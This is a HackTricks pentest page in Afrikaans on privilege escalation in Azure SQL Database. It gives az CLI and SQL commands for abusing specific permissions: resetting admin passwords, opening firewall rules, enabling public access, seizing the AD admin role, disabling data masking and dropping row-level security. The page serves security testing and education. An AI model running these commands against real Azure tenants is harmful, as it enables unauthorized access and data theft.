# Az - SQL Databasis Privesc

{{#include ../../../banners/hacktricks-training.md}}

## SQL Databasis Privesc

Vir meer inligting oor SQL Databasis, kyk:

{{#ref}}
../az-services/az-sql.md
{{#endref}}

### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`

Met hierdie toestemmings kan 'n gebruiker privilige-escalasie uitvoer deur Azure SQL bedieners op te dateer of te skep en kritieke konfigurasies, insluitend administratiewe akrediteer, te wysig. Hierdie toestemming laat die gebruiker toe om bediener eienskappe op te dateer, insluitend die SQL bediener admin wagwoord, wat ongeoorloofde toegang of beheer oor die bediener moontlik maak. Hulle kan ook nuwe bedieners skep, wat potensieel skadu-infrastruktuur vir kwaadwillige doeleindes kan inbring. Dit word veral krities in omgewings waar "Microsoft Entra Authentication Only" gedeaktiveer is, aangesien hulle SQL-gebaseerde autentisering kan benut om onbeperkte toegang te verkry.
```bash
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>

# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>
```
Boonop is dit nodig om die publieke toegang in te skakel as jy van 'n nie-private eindpunt wil toegang hê, om dit in te skakel:
```bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
```
Verder, met die toestemmings kan jy die toegewyde identiteit aktiveer, en werk met die bestuurde identiteit wat aan die bediener geheg is. Byvoorbeeld hier met 'n bestuurde identiteit wat toegang tot Azure Storage kan verkry:
```bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
```

```sql 
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO
```
### `Microsoft.Sql/servers/firewallRules/write`

'n Aanvaller kan firewallreëls op Azure SQL-bedieners manipuleer om ongeoorloofde toegang toe te laat. Dit kan uitgebuit word om die bediener oop te maak vir spesifieke IP-adresse of hele IP-reekse, insluitend openbare IP's, wat toegang vir kwaadwillige akteurs moontlik maak. Hierdie post-uitbuiting aktiwiteit kan gebruik word om bestaande netwerkveiligheidsbeheer te omseil, volharding te vestig, of laterale beweging binne die omgewing te fasiliteer deur sensitiewe hulpbronne bloot te stel.
```bash
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
```
Daarnaast laat die `Microsoft.Sql/servers/outboundFirewallRules/delete` toestemming jou toe om 'n Firewall Reël te verwyder.  
LET WEL: Dit is nodig om die publieke toegang geaktiveer te hê.

### `Microsoft.Sql/servers/ipv6FirewallRules/write`

Met hierdie toestemming kan jy IPv6 firewall reëls op 'n Azure SQL Server skep, wysig of verwyder. Dit kan 'n aanvaller of gemagtigde gebruiker in staat stel om bestaande netwerk sekuriteitskonfigurasies te omseil en ongemagtigde toegang tot die bediener te verkry. Deur 'n reël toe te voeg wat verkeer van enige IPv6 adres toelaat, kan die aanvaller die bediener oopmaak vir eksterne toegang.
```bash
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
```
Daarnaast laat die `Microsoft.Sql/servers/ipv6FirewallRules/delete` toestemming jou toe om 'n Firewall Reël te verwyder.  
LET WEL: Dit is nodig om die publieke toegang geaktiveer te hê.

### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`

Met hierdie toestemmings kan jy privesc in 'n Azure SQL Server omgewing deur toegang te verkry tot SQL databasisse en kritieke inligting te onttrek. Met die onderstaande opdrag kan 'n aanvaller of gemagtigde gebruiker hulself of 'n ander rekening as die Azure AD administrateur stel. As "Microsoft Entra Authentication Only" geaktiveer is, kan jy toegang tot die bediener en sy instansies verkry. Hier is die opdrag om die Azure AD administrateur vir 'n SQL bediener in te stel:
```bash
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
```
### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`

Met hierdie toestemmings kan jy "Microsoft Entra Authentication Only" op 'n Azure SQL Server konfigureer en afdwing, wat privilige-escalasie in sekere scenario's kan fasiliteer. 'n Aanvaller of 'n gemagtigde gebruiker met hierdie toestemmings kan Azure AD-slegs autentisering aktiveer of deaktiveer.
```bash
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>
```
### Microsoft.Sql/servers/databases/dataMaskingPolicies/write
Wysig (of deaktiveer) die datamaskeringbeleide op jou SQL-databasisse.
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'
```
### Verwyder Ryvlak Sekuriteit
As jy as admin aanmeld, kan jy die beleide van die admin self en ander gebruikers verwyder.
```sql
DROP SECURITY POLICY [Name_of_policy];
```
{{#include ../../../banners/hacktricks-training.md}}
